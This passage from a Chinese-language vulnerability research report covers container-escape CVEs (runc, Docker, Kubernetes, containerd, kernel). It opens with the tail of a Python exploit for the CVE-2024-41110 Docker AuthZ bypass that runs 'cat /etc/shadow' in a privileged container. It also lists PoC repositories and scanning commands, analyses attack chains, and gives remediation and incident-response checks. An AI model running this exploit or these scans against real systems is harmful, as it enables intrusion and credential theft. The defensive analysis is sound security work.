            conn.request("POST", f"/v1.43/containers/{container_id}/start")
            start_resp = conn.getresponse()
            if start_resp.status in (200, 204):
                print(f"[+] 容器已启动")

                # 等待执行并获取日志
                import time
                time.sleep(2)
                conn.request("GET", f"/v1.43/containers/{container_id}/logs?stdout=true&stderr=true")
                log_resp = conn.getresponse()
                output = log_resp.read().decode(errors="ignore")
                print(f"[+] 命令执行结果:\n{output}")

                # 清理容器
                conn.request("DELETE", f"/v1.43/containers/{container_id}?force=true")
                conn.getresponse()
                print(f"[*] 容器已清理")
                return True
        else:
            print(f"[-] 创建失败: {result}")
    except Exception as e:
        print(f"[ERR ] 利用失败: {e}")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-41110 Docker Engine AuthZ 授权绕过利用")
    print("=" * 60)

    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <docker_host:port> [command]")
        sys.exit(1)

    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "cat /etc/shadow"

    ok, conn = check_docker_api(target)
    if ok and conn:
        create_privileged_container(conn, cmd)

0x07 公开 PoC 收集情况总表

7.1 PoC 收集情况

CVEGitHub PoCExploit-DBNucleiCISA KEV在野利用
CVE-2024-21626✅ 多个仓库
CVE-2022-0185✅ Crusaders-of-Rust
CVE-2023-5528✅ verf1sh✅ Exceptional Risk
CVE-2024-3177
CVE-2023-28810
CVE-2023-28811
CVE-2024-41110✅ UK NCSC 披露

7.2 关键 PoC 仓库

  • runc 容器逃逸https://github.com/SamuelDePretis/CVE-2024-21626 — fd 泄漏检测与利用
  • Linux Kernel 堆溢出https://github.com/Crusaders-of-Rust/CVE-2022-0185 — 完整内核提权 PoC
  • kubelet 卷挂载注入https://github.com/verf1sh/CVE-2023-5528 — 恶意 Pod YAML 与自动化利用
  • containerd 漏洞合集https://github.com/advisories/GHSA-7ww4-4wqc-m76c — containerd 安全公告

7.3 批量验证思路

# runc 版本检测
runc --version 2>/dev/null | grep "1.1\." | grep -v "1.1.12"

# Kubernetes 版本检测
kubectl version --short 2>/dev/null
nuclei -u https://target-node:10250 -tags kubernetes -allow-local-file-access

# containerd 版本检测
ctr version 2>/dev/null
curl -sk http://localhost:2375/v1.43/info | python3 -m json.tool

# Docker Engine 版本检测
docker version --format '{{.Server.Version}}' 2>/dev/null
curl -sk http://localhost:2375/v1.43/version | python3 -m json.tool

# 综合 Nuclei 扫描
nuclei -u https://target:10250 -tags cve2023,cve2024,kubernetes,docker,containerd,runc

0x08 共性攻击模式分析

8.1 文件描述符泄漏是容器逃逸的核心路径

本专题中 7 个漏洞有 4 个(CVE-2024-21626、CVE-2024-3177、CVE-2022-0185、CVE-2023-28811)直接利用文件描述符泄漏或路径遍历实现容器逃逸。根本原因在于 Go 运行时和 Linux 内核对 O_CLOEXEC 标志的处理不一致——Go 的 exec.Cmd 默认不设置 CloseOnExec,而 Linux 内核在 namespace 切换过程中保留了这些泄漏的 fd。

8.2 路径遍历是容器存储层的通用弱点

CVE-2023-5528(volumeHandle 路径遍历)和 CVE-2023-28811(符号链接跟随)都利用了容器存储层对路径参数的校验不足。容器运行时在处理镜像层、卷挂载、snapshot 等路径时,如果未对 ../ 和符号链接做规范化处理,攻击者就可以将容器内的操作重定向到宿主机文件系统。

8.3 解析差异是授权绕过的经典手法

CVE-2024-41110 展示了安全中间件(AuthZ 插件)与后端引擎(Docker Engine)之间的 JSON 解析差异如何被武器化。这种"解析差异"模式在 Web 安全领域由来已久(如 HTTP 请求走私),在容器生态中同样适用。

8.4 内核漏洞是容器隔离的终极威胁

CVE-2022-0185 表明,即使容器的用户空间隔离机制完全正确,内核级别的漏洞仍然可以彻底打破所有容器隔离边界。容器共享宿主机内核,这意味着任何内核漏洞都是所有容器的潜在威胁。

8.5 攻击链的递进关系

在实际攻击场景中,这些漏洞往往形成递进的攻击链:

初始突破(CVE-2024-41110 AuthZ 绕过 / CVE-2023-5528 恶意 Pod)
    ↓
容器内立足(获取容器 shell)
    ↓
信息收集(枚举 fd、版本、权限)
    ↓
提权逃逸(CVE-2024-21626 fd 泄漏 / CVE-2022-0185 内核提权)
    ↓
宿主机控制(读取凭据、写入 SSH 公钥、安装后门)
    ↓
集群横向移动(利用窃取的 kubelet 凭据攻击其他节点)

0x09 防守建议

9.1 紧急措施

  1. 立即升级核心组件

    • runc → 1.1.12+
    • containerd → 1.6.20 / 1.7.1+
    • Kubernetes → 1.29.4 / 1.28.10 / 1.27.14+
    • Docker Engine → 27.1.1+
    • Linux Kernel → 5.16-rc8+(长期支持版本选择 5.15.x LTS 或 6.1.x LTS)
  2. 限制容器特权

    • 禁止使用 --privileged 标志
    • 移除不必要的 Linux Capabilities(尤其是 CAP_SYS_ADMIN
    • 启用 seccompAppArmor/SELinux 配置文件
    • 设置 readOnlyRootFilesystem: true
  3. 网络隔离

    • kubelet API(10250 端口)不应暴露到集群外部
    • Docker API(2375/2376 端口)必须限制访问源
    • 使用 NetworkPolicy 限制 Pod 间通信

9.2 应急排查清单

# 1. 检查 runc 版本
runc --version

# 2. 检查 containerd 版本
ctr version

# 3. 检查 Docker Engine 版本
docker version

# 4. 检查 Kubernetes 版本
kubectl version

# 5. 检查内核版本
uname -r

# 6. 排查异常容器——检查是否存在挂载宿主机目录的容器
docker ps --format '{{.Names}} {{.Image}}' | while read name image; do
    mounts=$(docker inspect "$name" --format '{{range .Mounts}}{{.Source}}->{{.Destination}} {{end}}' 2>/dev/null)
    if echo "$mounts" | grep -q "/:/"; then
        echo "[ALERT] 容器 $name 挂载了宿主机根目录: $mounts"
    fi
done

# 7. 排查异常 Pod——检查是否存在挂载宿主机路径的 Pod
kubectl get pods -A -o json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for pod in data['items']:
    name = pod['metadata']['name']
    ns = pod['metadata']['namespace']
    for vol in pod['spec'].get('volumes', []):
        if 'hostPath' in vol:
            path = vol['hostPath'].get('path', '')
            print(f'[ALERT] Pod {ns}/{name} 挂载宿主机路径: {path}')
        if 'csi' in vol:
            handle = vol['csi'].get('volumeHandle', '')
            if '..' in handle:
                print(f'[ALERT] Pod {ns}/{name} CSI volumeHandle 含路径遍历: {handle}')
"

# 8. 检查是否存在异常的特权容器
kubectl get pods -A -o json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for pod in data['items']:
    name = pod['metadata']['name']
    ns = pod['metadata']['namespace']
    for c in pod['spec'].get('containers', []):
        sc = c.get('securityContext', {})
        if sc.get('privileged') or 'SYS_ADMIN' in str(sc.get('capabilities', {}).get('add', [])):
            print(f'[ALERT] Pod {ns}/{name} 容器 {c[\"name\"]} 具有特权或 SYS_ADMIN')
"

# 9. 检查宿主机 SSH  authorized_keys 是否被篡改
cat /root/.ssh/authorized_keys 2>/dev/null
cat /home/*/.ssh/authorized_keys 2>/dev/null

# 10. 检查 crontab 是否被植入后门
crontab -l 2>/dev/null
ls -la /etc/cron.d/ 2>/dev/null
cat /etc/crontab 2>/dev/null

9.3 中期加固

  1. 启用 Pod Security Standards:使用 Kubernetes 内置的 Pod Security Admission 控制器,在 namespace 级别强制 restricted 安全策略
  2. 运行时安全监控:部署 Falco 或 Tetragon 等运行时安全工具,监控容器内的异常行为(如访问 /proc/self/fd/、挂载操作、路径遍历)
  3. 镜像安全扫描:在 CI/CD 流水线中集成 Trivy 或 Grype,扫描镜像中的已知漏洞和恶意符号链接
  4. 最小权限 ServiceAccount:禁止 Pod 使用具有集群管理权限的 ServiceAccount Token
  5. 定期轮换凭据:定期轮换 kubelet 证书、ServiceAccount Token、Docker Registry 凭据

0x0A 参考资料